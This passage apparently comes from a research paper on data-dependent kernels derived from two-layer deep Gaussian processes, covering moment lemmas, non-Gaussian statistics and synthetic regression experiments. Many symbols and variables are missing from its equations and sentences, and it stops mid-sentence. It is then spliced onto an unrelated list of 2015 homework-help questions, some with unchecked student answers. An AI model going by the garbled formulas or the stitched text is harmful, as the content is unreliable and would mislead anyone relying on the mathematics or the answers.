some non-Gaussian properties such as the multi-modalness Havasi et al. (2018); Lu et al. (2019). ## 4 From DGP to Kernel Learning Although the form of distribution in Equation 3 is not known exactly due to the intractable marginalization over latent function layers, Lu et al. (2019) studied the second and fourth moments of the DGP models where squared exponential and squared cosine covariance functions are employed in the final layer connecting to observations. Their study suggested that the two-layer DGP distribution is heavier-tailed and the joint distribution has the invariant symmetry under if both conditional distributions in Equation 3 are zero-mean. Such zero-mean assumption is justified because the latent function variables, e.g. , are not connected with any observation. In the context of multi-source data regression, GPs are very useful for modeling the general relation between mutually dependent observations from different sources (Kaiser et al., 2018; Cutajar et al., 2019). Instead of selecting some predetermined mean function for intermediate GP in the warped GP approach (Snelson et al., 2004; Kaiser et al., 2018), we follow the DGP structure and direct part of the observations to connect with the latent function (Cutajar et al., 2019) so that the conditional distribution in Equation 3 can be posterior distribution given the partial data. More explicitly, referring to Fig. 1, we consider the collection of plentiful and rare data denoted by and , and extend the DGP model to take into account that the latent layer represents the random functions from the posterior distribution given , p(f\|X,Dp)=∫dh p(f\|h)p(h\|X,Dp). (4) The DGP distribution in Equation 4 can be considered as prior over the composite functions taking into account the partial data. For convenience, we extend the notation in Lu et al. (2019) to represent the two-layer DGP. For instance, SE[NN] stands for the structure associated with Equation 4 where the second layer connecting with output is zero-mean GP with SE kernel function while the first layer connecting with input is posterior distribution given and kernel function is the neural network (NN) covariance function (Williams, 1997). In the followings, we shall extract the second and fourth moments of two families of DGP models, SE[] and SC[] where the first layer GP can use arbitrary kernel function. ### 4.1 Squared Exponential Composition: SE[⋅\|D] Here we shall evaluate the expectation values and associated with the DGP distribution in Equation 4. For the second moment, the marginal property of Gaussian and the integration with respect to the exposed terms ’s allow us not to confront with marginalizing out the ’s being in the inverse of covariance matrix in . Instead, only the tractable integral one needs to perform is . It is convenient to write the square in quadratic form, where the notation for the two-entry column vector and the two-by-two matrix have been used. Therefore, the SE covariance function in the layer connecting with output now reads, k2(hi,hj)=σ22exp[−[h]TijJ2[h]ij2ℓ22]. (5) The marginal property of Gaussian again simplifies the integration into E[fifj]=∫d[h]ijk2(hi,hj)N([h]ij\|V2,K2), (6) where the two-entry posterior mean vector V2=(μiμj), and the two-by-two covariance matrix, K2=(kiikijkijkjj), are obtained from the posterior mean and covariance matrix, respectively, given the partial data . ###### Lemma 1. The second moment of SE[] in Equation 6 can be shown to have the following form, E[fifj]=σ22√Dijexp[−(μi−μj)22ℓ22Dij] (7) where the symbol represents the determinant of the matrix . ###### Proof. Without loss of generality, we assume the hyperparameters in the output layer. The analytic form for the second moment is given in (Lu et al., 2019), E[fifj]=exp(−12Vt2A2V2)√I2+K2J2, where the matrix . It can be shown that the involved 2-by-2 matrices satisfy the following identity, I2−(I2+K2J2)−1=K2J2Dij, (8) with which we can proceed to show and the exponent in above reads . ∎ The second moment captures the effective covariance generated through the marginalized composition in DGP distribution. Unlike the discussions in (Lu et al., 2019) where the GPs in latent layers are zero-mean, the presence of Gaussian posterior in DGP allows the effective covariance function in Equation 7 to depend on the posterior mean given the partial data, which is a novel method of data driven composition of deep multi-scale kernels. The factor reproduces the kernel for zero-mean case in which the length scales in and give rise to multi-scale correlation. Another novelty of this kernel is that the difference between the posterior mean from first GP appears in the second factor allows the partial training observations to enter the covariance function and the ensuing predictive covariance. Standard GPs does not have the capacity of providing observation-dependent predictive covariance (Shah et al., 2014). In addition, the exponent of this factor is scaled by input-dependent length scale . Lastly, one can collapse the first GP into a deterministic mapping, i.e. , by setting the signal magnitude , which leads to a transformed SE kernel function . The statistics of DGP are not solely determined by the second and first moments, however. We can show that the fourth moment of interest can be derived in a similar manner. The calculation of higher moments for multivariate Gaussian distribution is faciliated by the theorem in (Isserlis, 1918) with which the fourth moment with the summation being over all three distinct ways decomposing the quartet into two doublets (for instance and ). ###### Lemma 2. The fourth moment of SE[] is given by the sum over distinct doublet decomposition and corresponding expectation values, E[fifjfmfl]=σ42∑αab,cdαcd,abβab,cd√DabDcd−V2ab,cd (9) with and the expressions, αab,cd=exp[−(μa−μb)22ℓ22(Dab−V2ab,cd/Dcd)], and βab,cd=exp[(μa−μb)(μc−μd)Vab,cdℓ22(DabDcd−V2ab,cd)]. ###### Proof. We start with rewriting the product of the covariance function where the row vector and the matrix J4=(J200J2). The above zeros stand for 2-by-2 zero matrices in the off-diagonal blocks. The procedure of obtaining expectation value with respect to the 4-variable multivariate Gaussian distribution is similar to the previous one in obtaining the second moment. Namely, E[k2(ha,hb)k2(hc,hd)]=exp(−12Vt4A4V4)√I4+K4J4, in which the calculation of inverse of 4-by-4 matrix and its determinant is quite tedious but tractable. ∎ ### 4.2 Squared Cosine Composition: SC[⋅\|D] In the present case, the second GP in Figure 1 is also zero-mean but employs the squared cosine kernel function, i.e. . After writing , the same trick can be applied to obtain the second moment of SC[] DGP. ###### Lemma 3. The second moment of SC[] DGP distribution is E[fifj]=σ222[1+cos(μi−μj)exp(Vij)] (10) where the symbol represents the posterior covariance from the first-layer GP. ###### Proof. The above follows from the expectation value identity along with the identification of vector . ∎ Similarly, the fourth moment of SC[] also has closed form in the following lemma. ###### Lemma 4. The fourth moment is a sum over all three partition of quartet into pair of doublets, and the relation with the second moment is given by, E[fifjfmfl]=∑E[fafb]E[fcfd]+eVab+Vcd8×[e2Vab,cdcos(μa−μb+μc−μd)+e−2Vab,cdcos(μa−μb−μc+μd)−2cos(μa−μb)cos(μc−μd)] (11) The proof can be found in Appendix. ### 4.3 Non-Gaussian statistics One can determine whether a univariate distribution is heavy-tailed or light-tailed by the sign of its excessive kurtosis, and Gaussian distribution corresponds to zero. The fourth moments along with the second moments in the zero-mean two-layer DGP studied in Lu et al. (2019) suggest that both the SE[] and SC[] compositions result in heavy-tailed statistics. Nonzero posterior mean in the present two-layer DGP enriches the statistical property. First, in both SE[] and SC[] compositions, the present DGP can be a GP if the signal in the first layer, which results in zero covariance and . Moreover, one can show that the fourth moment, for instance, , which is signature of multivariate Gaussian distribution. However, the presence of mean function in second and fourth moments complicates the consideration for general cases. We first consider the SC composition and the simpler fourth moment . Since we are interested in approximating DGP with GP, the fourth moment in GP approximation shall read . The true fourth moment, compared with the GP approximation, contains additional contribution proportional to, excos2θ+e−x−2cos2θ≥2sin2θ(1−ex), where we denote and . Therefore, this fourth moment is underestimated if one approximates this DGP with GP. In general, one could either prove that the most general fourth moment is always underestimated given any posterior mean function, or one could prove the opposite by finding a posterior mean such that the true fourth moment is smaller than the one obtained from the approximate GP. As for the SE DGP, the situation is even more complicated as the posterior mean and covariance both appear in the exponent in Equation 7 and 9, which makes the demonstration even more challenging. ### 4.4 Pathology kernels The previous derivations show construction of effective kernel function in the posterior-prior stacking DGP, SE[] (Equation 7) and SC[] (Equation 10). The kernel functions depend on the input ’s implicitly through the posterior mean and covariance given data . One has the freedom to include explicit dependence of input by multiplying with SE kernel Duvenaud et al. (2014), kpath(xi,xj)=σ22exp(−\|xi−xj\|22ℓ2)keff(xi,xj). (12) ## 5 Multi-source GP Regression Given a set of rare observation , the multi-source regression task is to infer the function, which has following functional dependence, y=f[h(x),x]+N(0,σ2n), (13) and the hidden function can be inferred from the plentiful data . For instance, could represent the amount of sun exposure while could represent temperature at an array of locations. The hierarchy of two-level inference suits with the prior-posterior DGP shown in Figure 1. Moreover, marginalization over the hidden function is the Bayesian spirit, instead of selecting the most probable . As shown in previous section, our approach is to approximate the DGP with a GP in which the employed kernel function represents the nontrivial correlation and dependence on plentiful data out of the intractable marginalization over the hidden function. In passing, we note that the non-Gaussian character not captured by this approximation is related to whether outlier samples should appear more (heavy-tailed) or less (light-tailed) frequently than the multivariate Gaussian distribution can generate. Below, we shall describe our approximate inference with the effective GP model shown in Figure 2. The first objective is to infer the hidden function from . Namely, we are interested in and evaluated at and , respectively, and they follow the joint multivariate normal distribution, [yphr,∗]∼N(0,[K(Xp,Xp)+σ2nIK(Xp,Xr,∗)K(Xr,∗,Xp)K(Xr,∗,Xr,∗)]), (14) given the information from the plentiful data. Consequently, the posterior distribution can be obtained by standard GP procedure. The relevant information regarding within the posterior mean and and covariance can lead to the kernel matrix in Figure 2 at input and . Then optimization over the evidence for results in the corresponding hyperparameters for the effective GP. Algorithm 1 lists the summary of calculation procedure for multi-source DGP kernel learning with the rare data. ## 6 Experiments Here, we shall demonstrate the results from our multi-source GP inference with synthetic rare and plentiful data. There are two demonstrations of data here. In the first one, the relation between the two sources of data is fixed but implicit. This type of problem is the same as that studied in multi-fidelity simulation Perdikaris et al. (2017); Cutajar et al. (2019) . On the other hand, in the second type of problem the relation between noisy data and noise-free data is not through a fixed mapping. Thus, it is interesting to note that the multi-source GP inference may be analogous with the denoising autoencoder Alain and Bengio (2014); Bengio et al. (2013). ### 6.1 Two-fidelity data We first show the example with the plentiful data generated from (30 data) and the rare data from (10 data). We apply the standard GPy regression package with RBF kernel GPy (2012) to infer the distribution over hidden function from plentiful data . With the predictive mean and covariance matrix , we can obtain the effective kernel matrix via Equation 7. The left top panel in Figure 3 displays the heatmap for the corresponding pathology kernel in Equation 12 evaluated at the grid of 30 points between . The left bottom panel in Figure 3 shows the sample functions generated from the effective GP as a prior using the pathology kernel learned from the plentiful data. Here, we remark that sampling function from DGP prior models is non-trivial as we did not find many instances in the literature except (Duvenaud et al., 2014; Dunlop et al., 2018). In the end, the regression with the rare data can be done with optimizing the evidence of . In the present experiment, we set the in the pathology kernel and employ grid search for the optimal values for and . The panel (a) in Figure 4 shows the regression result where the predictive uncertainty substantially improves upon the result from directly applying GP with the rare data, which can be found in the Supplemental Material (Fig.6 right panel). In particular, one may note that there is no data for in the region but our prediction mean is still close to the truth and the uncertainty is small. The result from direct application of standard GP sees similar predictive mean but the uncertainty is very large for . For comparison with the simulation results in (Cutajar et al., 2019), we follow the nonlinear-A example there and generate 30 plentiful data from the function and 10 rare data from . Learning from the plentiful data leads to the effective pathology kernel in the right top panel in Figure 3. Apparently, the learned covariance has a very different structure than that learned from the previous case, which shows the flexibility of our kernel learning. Two random functions are sampled from the corresponding GP and are displayed in the right bottom panel. It can be seen that the sampled functions possess the length scale learned from the low-fidelity function, and additional length scales which may originate from the deep model can be found too. Finally, we use the rare data for our effective GP regression, and the prediction is shown in the panel (b) of Figure 4. In the present simulation, there are 30 random data as and 10 as , and the corresponding result using the code of Cutajar et al. (2019) can be found in panel (c) of Figure 4. The two methods show similar accuracy and tight uncertainty near the region where the rare data is available. In the region where no rare data is seen, on the other hand, our method demonstrates more accurate prediction (black curve) and tighter uncertain region between the blue dashed curves. ### 6.2 Noisy&noise-free data Unlike the above cases where the plentiful data has a fixed relation with the rare data, the noise-free data can not be obtained by sending the noisy data through some predetermined transformation. Nevertheless, if we regard the marginalization over in Equation 13 as a kind of model averaging Goodfellow et al. (2016), we shall expect tighter variance from the present regression algorithm. In figure 5, we demonstrate the regression result with 40 noisy and random data in from the high-fidelity function in the nonlinear-A example, i,e, with , and 10 noise-free data from the same function. The black cross symbols represent the noisy data while the red circles for the noise-free ones. The light-blue curve and the shadow region represent the predictive mean and uncertainty from applying RBF-GP to the union of both data. The relatively large noise and the lack of data in some regions result in significant uncertainty around the prediction. The predictive mean and uncertainty are presented by the black curve and blue dashed curves, respectively. The predictions from both methods are similar, but the uncertainty in our method is much tighter, which is expected from the model averaging perspective. ## 7 Conclusion In this paper we propose a novel kernel learning inspired from the multi-source Deep Gaussian Process structure. Our approach addresses two limitations of prior research on GPs: the need to choose a kernel and the lack of explicit dependence on the observations in the predictive covariance. We resolve limitations associated with reliance on experts to choose kernels, introducing new data-dependent kernels together with effective approximate inference. Our results show that the method is effective, and we prove that our moment-matching approximation retains some of multi-scale and long-ranged correlation that are characteristic of deep models. We resolve limitations associated with lack of explicit dependence on observations in the predictive covariance by introducing the data-driven kernel. Our results show the benefits of joint dependence on the input and the predicted variables in reduced uncertainty in regions with sparse observations (e.g. Figure 4). Central to the allure of Bayesian methods, including Gaussian Processes, is the ability to calibrate model uncertainty through marginalization over hidden variables. The power and promise of deep GP is in allowing rich composition of functions while maintaining the Bayesian character of inference over unobserved functions. Whereas most approaches are based on variational approximations for inference and Monte Carlo sampling in prediction stage, our approach uses a moment-based approximation in which deep GP is a analytically approximated with a GP. For both, the full implications of these approximations are unknown. Through analysis of higher moments, we can show that our approach retains some of important signatures of deep models, while avoiding the need for further optimization or sample-based approximation. Continued research is required to understand the full strengths and limitations of each approach. ## Appendix From the true DGP distribution given in the main text, is can be shown with the theorem in Isserlis (1918) that the fourth moment is the sum, E[fifjfmfl]=Ep(h)[k2(hi,hj)k2(hl,hm)]+Ep(h)[k2(hi,hl)k2(hj,hm)]+Ep(h)[k2(hi,hm)k2(hj,hl)], (15) where the distribution for the quartet is a multivariate Gaussian distribution, specified by its mean vector and covariance matrix , V4=⎡⎢ ⎢ ⎢ ⎢⎣μiμjμmμl⎤⎥ ⎥ ⎥ ⎥⎦, and K4=⎡⎢ ⎢ ⎢ ⎢⎣kiikijkimkilkijkjjkjmkjlkimkjmkmmkmlkilkjlkmlkll⎤⎥ ⎥ ⎥ ⎥⎦. We shall focus on the first term in the sum, k2(hi,hj)k2(hm,hl)=cos2hi−hj2cos2hm−hl2, which can be expressed as the exponential form, 14+18[ei(hi−hj)+⋯]+116[ei(hi−hj+hm−hl)+⋯], (16) where there are a total of 4 similar terms involving in the first bracket. In the second bracket, there are also 4 similar terms with different sign combinations. Next we can apply the identity valid for both two-dimension and four-dimension cases. One can show that Ep(h)[ei(hi−hj)]=ei(μi−μj)exp(2kij−kii−kjj2), (17) and Ep(h)[ei(hi−hj+hm−hl)]=ei(μi−μj+μm−μl)exp(2kij−kii−kjj2)exp(2kml−kmm−kll2)exp(Vij,ml) (18) where we denote the exponential cross term , and the plus/minus is associated with the sign in the exponent of in . Now we can first collect the terms and obtain the second moment, E[fifj]=1+cos(μi−μj)eVij2, (19) where the two-indices symbol . Similarly, the fourth moment is given by, Ep(h)[k2(hi,hj)k2(hl,hm)]=1+cos(μi−μj)eVij+cos(μm−μl)eVml4+eVij+Vml[cos(μi−μj+μm−μl)8eVij,ml+cos(μi−μj−μm+μl)8e−Vij,ml]. (20) Comparing with the expression for the second moment, the difference now reads, eVij+Vml[cos(μi−μj+μm−μl)8eVij,ml+cos(μi−μj−μm+μl)8e−Vij,ml−cos(μi−μj)cos(μm−μl)4]. Note that and can be positive or negative. The remaining two terms in the sum Eq. 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http://www.jiskha.com/high_school/?page=14	Saturday June 25, 2016 # Homework Help: High School Chemistry Magnesia (MgO(s)) is used for fire brick, crucibles and furnace linings because of its high melting point. It is produced by decomposing magnesite (MgCO3(s)) into at around 1200oC Write a balanced equation for the magensite decomposition being sure to include states for the ... Sunday, November 8, 2015 by Kyson chemistry Styrene is produced by catalytic dehydrogenation of ethyl- benzene at high temperature in the presence of superheated steam. (a) Find ÄH°rxn, ÄG °rxn, and ÄS °rxn, given these data at 298 K: (b) At what temperature is the reaction spontaneous? What ... Sunday, November 8, 2015 by Dalton Chemistry For each of the following experimental conditions determine whether molar mass would be: 1) too high, B) too low or C) unaffected. In each case, /explain/ how this result occurs a) after removing the flask from the water bath, the experimenter cools the flask to room ... Sunday, November 8, 2015 by S Chemistry For each of the following experimental conditions determine whether molar mass would be: 1) too high, B) too low or C) unaffected. In each case, /explain/ how this result occurs a) after removing the flask from the water bath, the experimenter cools the flask to room ... Sunday, November 8, 2015 by S Math Word Problem A teacher from Anderson Middle School printed k nametags in preparation for the science fair. Half of the nametags were given out to students and 100 nametags were given out to parents. Three-fifths of the remaining nametags were given out to teachers and contests judges. How ... Sunday, November 8, 2015 by Why? statistic 2. High density lipoprotein (HDL) in healthy males follows a normal distribution with a mean of 50 and a standard deviation of 8. c)What is the 99th percentile of HDL in healthy males? d)If we consider samples of 10 patients, what is the 90th percentile of the mean HDL in ... Saturday, November 7, 2015 by mary History Can someone please check my answer? Thank you for any help you can give! 1) During the colonial period, the economic development of the South was most directly dependent on the labor of: a. Factory workers b. Enslaved Africans c. Wheat farmers d. Irish immigrants My Answer~ b ... Saturday, November 7, 2015 by Abby Chemistry Styrene is produced by catalytic dehydrogenation of ethyl- benzene at high temperature in the presence of superheated steam. (a) Find ÄH°rxn, ÄG °rxn, and ÄS °rxn, given these data at 298 K: (b) At what temperature is the reaction spontaneous? What ... Saturday, November 7, 2015 by Dalton chemistry Magnesia (MgO(s)) is used for fire brick, crucibles and furnace linings because of its high melting point. It is produced by decomposing magnesite (MgCO3(s)) into at around 1200oC Write a balanced equation for the magensite decomposition being sure to include states for the ... Saturday, November 7, 2015 by Kyson maths A box 48 cm by 48 cm by 36 cm high is made of wood .5 cm thick. If the box has no lid, find the volume of wood used in making the box. Saturday, November 7, 2015 by Anonymous Physics A ship fires its guns with a speed of 400 m/s at an angle of 35 with the horizontal. a. Find the range and maximum altitude. b. If the ship hits a plane that was 12 km away, how high was the plane flying? Friday, November 6, 2015 by Anonymous Algebra If your truck gets 22 high way miles per gallon and your traveling 250 miles. It takes $50 to fill your tank. Gas is$2.40 a gallon how much are you spending on gas Friday, November 6, 2015 by Kayla Physics Mr.Notten throws an egg from the top of a school at an initial velocity of 20m/straight upward. The egg is launched 50 m above the ground, and the egg just misses the edge of the roof on its way down? what is maximum height? what is the maximum height of the egg? Determine the... Friday, November 6, 2015 by Anonymous Math Dawn raises money for her school in a jog-a-thon. She will get three dollars for every lap she completes. If it takes 4 laps to jog 1 mile, and Dawn jogs a total of 12 miles, how much money will Dawn raise for her school? Friday, November 6, 2015 by Claire The probability that Shania is on time for school is 1/2. Find the probability that Shania arrives on time for school for the next 5 days. Express your answer as a percent, to the nearest tenth of a percent. A. 50% B. 15.6% C. 11.4% D. 3.1% ALSO, PLEASE EXPLAIN THOROUGHLY!! ... Friday, November 6, 2015 by Dakota social studies 3. By 1700, the British East India Company had founded A. Madras. B. Madras, Calcutta, and Bombay. C. Calcutta. D. Madras and Calcutta. Student Answer: B Answer: Incorrect Reference: 7. In the 1500s, if you were searching for a sophisticated cosmopolitan urban center of ... Friday, November 6, 2015 by Emma Physics Lily throws a ball at an angle of 53.13 degrees above the horizontal from a building that is 10m high. The ball has a speed of 12m/s, .6 seconds after she throws it. What was the initial speed of the ball? This is a vector problem and uses variables such as vx, vy, vyi, delta ... Friday, November 6, 2015 by Hasan English Is the following acceptable or is it bad English? Is there a better way to phrase the question and answer? (Someone told me it is bad English but he couldn't elaborate. I'm confused.) Qn: Is there school today? Ans: Today, there is no school because it is a school ... Friday, November 6, 2015 by chimingbell Physics Miss E. deWater, the former platform diver of the Ringling Brothers' Circus, dives from a 80.0-meter high platform into a shallow bucket of water (see diagram at right). Determine her speed and her height after each second of fall. When t = 0 s: speed = 0 m/s and height = ... Friday, November 6, 2015 by Ryan bluehills high school general solution 1-cos2x/4cos(90) Friday, November 6, 2015 by lebo Physics Miss E. deWater, the former platform diver of the Ringling Brothers' Circus, dives from a 80.0-meter high platform into a shallow bucket of water (see diagram at right). Determine her speed and her height after each second of fall. When t = 0 s: speed = 0 m/s and height = ... Friday, November 6, 2015 by Ryan Geography 8. China is now reporting at least 650,000 infected with HIV/AIDS and the number in India may well exceed 5 million infected. True False Answer : True 9.what is not an example of how governments affect population change? A. Expansive population policies encourage large ... Thursday, November 5, 2015 by Geo Geography 1. All of the following explain negative geographical health influences on population expect....... A.High Infant mortality in Haiti B. Poor sanitation in Sub-Saharan Africa C. Destroyed hospitals in war-torn regions of the Middle East. D. Aging population of retired German ... Thursday, November 5, 2015 by Geo history check answers pls 1. Who controlled the most territory bordering the Louisiana Purchase? Spain France Great Britain Mexico 2. What was George Washington's role during the American Revolution? He was the founder of the Sons of Liberty. He was the commander of the ... Thursday, November 5, 2015 by anon physics A hollow cylinder, a solid cylinder, a hollow sphere, and a solid sphere roll down a ramp without slipping, starting from rest. The ramp is 0.25 m high. All the objects have radius 0.035. What are their final speeds? Please show what equation you used and what you plugged in... Thursday, November 5, 2015 by Caroline Maritza is baking cookies to bring to school and share with her friends her birthday. The recipe requires 3 eggs for every 2 cups of sugar. To have enough cookies for all of her friends, Maritza determined she would ned 12 eggs. If her mom bought 6 cups of sugar, does Maritza ... Thursday, November 5, 2015 by Harms science will the air above a surface that has a high albedo be warmer or cooler than the air above a surface that has a low albedo? Low. Thursday, November 5, 2015 by Megan ART CHECKING!!! PLEASE CHECK IT!!! :( 1. How has the artist used value in this painting?(Adoration of the Shepherds by Nicolaes Maes) A. The background is lighter than the foreground to draw the viewer's eye. B. The artist did not use value in this painting. C. The subject is lighter than the background to ... Thursday, November 5, 2015 by OHI Zibonele high school What is a projectile? Thursday, November 5, 2015 by Philani Science Ms. Sue Please 1. The human endocrine system is made up of which of the following structures? (1 point) vessels receptors glands * chambers 2. Which of the following best describes the function of the endocrine system? (1 point) It secretes chemical messengers that travel through the blood ... Thursday, November 5, 2015 by Maria Science 1. The human endocrine system is made up of which of the following structures? (1 point) vessels receptors glands * chambers 2. Which of the following best describes the function of the endocrine system? (1 point) It secretes chemical messengers that travel through the blood ... Thursday, November 5, 2015 by Maria criminal justice The presentence investigation report (PSI) a. reflects positive school interest in the offender B. is based on the concept of parens patriae C. is required in all jurisdictions D. reflects a classical approach E. none of the above Wednesday, November 4, 2015 by Fernandez Science An object has more momentum if it has which of the following? a. a large mass and low velocity b. a high velocity and a small mass <- c. A high velocity and a large mass d. a low velocity and small mass Wednesday, November 4, 2015 by HELP!! URGENT!! Science On a topographic map, five contour lines are very close together. The contour interval is 100ft. How high is this feature? Answer: 400ft Wednesday, November 4, 2015 by Sue jim chavani high A cubic block of wood is painted various colours on all the sides. Each side of the block has the same length of 12cm. This block is now cut into many cubes of equal size of which the sides are now 3cm in length. c) How many cubes could be created from the original ... Wednesday, November 4, 2015 by musa Shea middle school John oversleeps and misses the bus by 1 hour. He takes taxi to catch up to the bus. The taxi travels at an average speed of 100 km/h. At what time does the taxi catch up to the bus? Tuesday, November 3, 2015 by Anonymous math A conical water tank with vertex down has a radius of 13 feet at the top and is 28 feet high. If water flows into the tank at a rate of 10 {\rm ft}^3{\rm /min}, how fast is the depth of the water increasing when the water is 17 feet deep? Tuesday, November 3, 2015 by PAT Probability A card is drawn from a standard deck. What is the probability that the card is less than 7, given that the card is not a face card? (Assume that ace is high, and that aces are not face cards.) A: .4165 B: .3846 C: .2959 D: .6 E: .5 F: None of these Tuesday, November 3, 2015 by Emily MIS I need help with this question please. Imagine that you are developing the rules for an expert system to select the strongest candidates for a medical school. What rules or heuristics would you include? Tuesday, November 3, 2015 by Edgar Science a tank 2m high is half filled with water and then filled to the top with oil of density 0.8 g/cc . what is the pressure at the bottom of the tank? g= 10m/s2 Tuesday, November 3, 2015 by ABC Physics A ball is projected horizontally from the edge of a table that is 0.465 m high, and it strikes the floor at a point 1.04 m from the base of the table. gravity is 9.8 m/s the initial speed of the ball is 3.376042 m/s ~How high is the ball above the floor when its velocity ... Tuesday, November 3, 2015 by Anonymous math At a school there are 704 chairs to place into 22 classes if the same number of chairs are placed in each class rooms how many chairs will be in each room? So I divided 704 by 22 and came up with 32 chairs and I correct. Tuesday, November 3, 2015 by kim bennet middle school Two times the quantity of fifteen divided by a number n Tuesday, November 3, 2015 by jennifer geometry A fire hydrant that is 1.5 feet high casts a shadow that is 2.5 feet long. At the same time of day, a lamppost casts a shadow 15 feet long. What is the height of the lamppost? Tuesday, November 3, 2015 by jay maths School for jan started at 9:00am finished at 3:00pm.If Jan knew she was 2/3 of the ay through the school, what time was it then? Tuesday, November 3, 2015 by anna Umbonje secondary school A horizontal force F is applied to a crate,causing it to move over a rough horizontal surface,the kinetic frictional force between the crate and the surface on which it is moving depends on....the applied force Tuesday, November 3, 2015 by Nothando 1. Read the definition. Then match it to the correct plot element. the high point, or turning point, in the action of the plot (1 point) • rising action • climax • falling action • resolution 1 Chris and Taylor ... Tuesday, November 3, 2015 by abdel1233 mechanics You have 1kg of aluminum (E=69GPa) to make a cylindrical tube with a high Euler buckling load. The tube must have a length L of 0.5m. You can either make a solid tube, or a thin walled tube with a wall thickness, t=0.5cm. The density of aluminum is 2700kg/m3. The tubes are pin... Tuesday, November 3, 2015 by alalal Elem school I am an odd number greater than 390 but less than 400.my ones digit and hundreds digit are the same.what number am i? Tuesday, November 3, 2015 by Myleen Math a wrench is dropped by a worker at a construction site. four seconds later the worker hears it hit the ground below. How high is the worker above the ground? (The velocity of sound is 1100 ft/s, and the distance the wrench falls as a function of time is s=6t^2 Monday, November 2, 2015 by John Spalding High School When a mass of 20 gram is hung on a spring the length of the spring id 16 centimetres. Adding another 10 gram increases the length to 19 centimetres. What is the unstrecthed length of the spring Monday, November 2, 2015 by Brittney kay Simpson Phyics A pool ball leaves a 0.75-meter high table with an initial horizontal velocity of 30 m/s. Predict the time required for the pool ball to fall to the ground. Monday, November 2, 2015 by Alex physics i need help understanding physics. im failing my class and dont want to do anything because i have zero clue where to start. im stuck on this problem currently. a cat pushes a ball from a 7.00 m high window, giving it a horizontal velocity of .20 m/s. how far from the base of ... Monday, November 2, 2015 by kaleigh Math A school is keeping track of the number of tickets remaining for its year-end festival. The table shows the number of sales for the first, second, third, and fourth weeks of the month leading up to the festival. Which graph could represent the data shown in the table? Day \| ... Monday, November 2, 2015 by Mr Shades Math A school is keeping track of the number of tickets remaining for its year-end festival. The table shows the number of sales for the first, second, third, and fourth weeks of the month leading up to the festival. Which graph could represent the data shown in the table? Day ... Monday, November 2, 2015 by Mr Shades tema senior high school An open box is to be made using one metre square of cardboard .find the maximum value of the box given that it has a square base Monday, November 2, 2015 by angela algebra roger is 5 feet tall and casts a shadow 3.5 feet longer. at the same time,the flagpole outside his school casts a shadow 14 feet long. write and solve a proportion to find the height of the flagpole. Sunday, November 1, 2015 by masruja need help ESSAY EXAMINATION 1 Objective To successfully complete the course, you must complete Essay Examination 1, which requires you to write your answers to specific questions covering important concepts from your studies. Please provide your answers using a Microsoft Word file. You ... Sunday, November 1, 2015 by Anonymous English Language & Composition I need help on what my body paragraphs could talk about. My intro talks about how surveillance technologies can possibly threat civil liberties. I picked quotes from the sources I had to use that could help me in this essay. What are 3 ideas I can say in each body paragraph ... Sunday, November 1, 2015 by Diana Day secondary school kataeregi The first and last terms of an a.p are 79 and 5 and it's sum is 814 find(a) the number of terms in the a.p(b)the common different between them.(c) the 9th terms is of an a.p is 52, while the 12th terms is 70 find the sum of it's 20th terms. Sunday, November 1, 2015 by Muhammad haruna ubandawaki St Joseph high school Find the height of a triangle whose area is 39000 sq cm and base is 260 cm Sunday, November 1, 2015 by Rahima rakhangi school..maikona physics question a projectile's launch speed is five times its speed at maximum height.find the launch angle? Sunday, November 1, 2015 by umuro science A tower is 24 m high. A stone is projected upwards from the tower, at a velocitry of 24,5 m/s. Calculate how long it would take the stone to reach the ground at the roof of the tower. Sunday, November 1, 2015 by francis physics At the beginning of a new school term, a student moves a box of books by attaching a rope to the box and pulling with a force of F=86.4 N at an angle of 64 degree. The acceleration of gravity is 9.8 m/s^2. The box of books has a mass of 13 kg and the coefficient of kinetic ... Sunday, November 1, 2015 by luma us history 1)Which of these was a precedent that George Washington set? a) constitutional amendment process b) formal presidential dinners c) singing of the national anthem d) use of a president cabinet _____________________________________ 2)Read the following paraphrase from George ... Sunday, November 1, 2015 by Ana HEALTH PLZ ITS OVERDUE 1. The type of family structure that has a biological parent, a stepparent, and the children of one or both parents describes which type of family unit? a.blended family b.extended family c.foster family d.nuclear family 2.some children move from one family to family several ... Sunday, November 1, 2015 by regan us history Lewis and Clark traveled from St. Louis, which is beside the Mississippi River. Which of the following correctly describes the land they saw as they traveled to the Pacific Northwest? A) Flat and low around the Mississippi River, with a sharp and sudden rise to the Rocky ... Saturday, October 31, 2015 by Ana AP PHSYICS DUE LATE HOMEWORK HELP!!! 4. Assuming that ball 1 was thrown with an initial velocity of 5 m/s, how far will it land away from the building horizontally? A. 10 M b. 16 M C. 21 M D. 0.63 M 5. A projectile is launched a t 35 m/s at an angle of 33 degrees. Determine (a) the maximum height of the ... Saturday, October 31, 2015 by Anonymous physics 4. Assuming that ball 1 was thrown with an initial velocity of 5 m/s, how far will it land away from the building horizontally? A. 10 M b. 16 M C. 21 M D. 0.63 M 5. A projectile is launched a t 35 m/s at an angle of 33 degrees. Determine (a) the maximum height of the ... Saturday, October 31, 2015 by Anonymous APA Format I'm so used to using MLA that I'm struggling with citing in-text using APA. "Metropolitan areas with high concentrations of employment in higher paying occupations also tend to have greater inequality.” (Cunningham, 2015). Does that look right? Do I need to ... Saturday, October 31, 2015 by mysterychicken Pretoria Muslim Trust sunni school Math Litracy,Life sciences,Cat,Business studies. Can I become a psychologist with these subjects Saturday, October 31, 2015 by Mpho Molokomme Conway high The mean of a normal distribution of a set of truck tires is 200 pounds with a tard variation of 10 pounds. What is the probability of a randomly selected set of tires between 200 and 220 pounds? Friday, October 30, 2015 by Dave145 Physics A helicopter is flying horizontally at a constant 40 m/s when it drops a package below. Where does it land? 1. About 50 m ahead of the helicopter 2. About 80 m behind the helicopter 3. There is no way to answer without knowing how high the helicopter was above the ground when ... Friday, October 30, 2015 by Anonymous Geography 1. Demographers report the population density of a country as a measure of total population relative to land size. TRUE FALSE Answer : true 2. Which of the following is not an example of adequate physiological population density? A. Cities such as Luxor, Cairo, and Alexandria ... Friday, October 30, 2015 by Geo suncrest high school maths give the coordinate for:point A (-3;-2) is reflected in the x-axis Friday, October 30, 2015 by phumelele college physics you are driving home from school at 90 km/h. it then began to rain and you slow to 50km/h. your arrive home after driving 3 hours and 20 minutes, how far is your hometown from school? what is the average speed? Friday, October 30, 2015 by zain Siddhartha Higher Secondary School English what will you do if your parents were unable to send you school Thursday, October 29, 2015 by swachitta English/Writing Following are some brief versions of Aesop's fables. After reading these stories, write what you think the moral is. 1. One day a hungry fox was walking through a vineyard. Hanging on the vines were bunches of delicious looking grapes. Wanting very 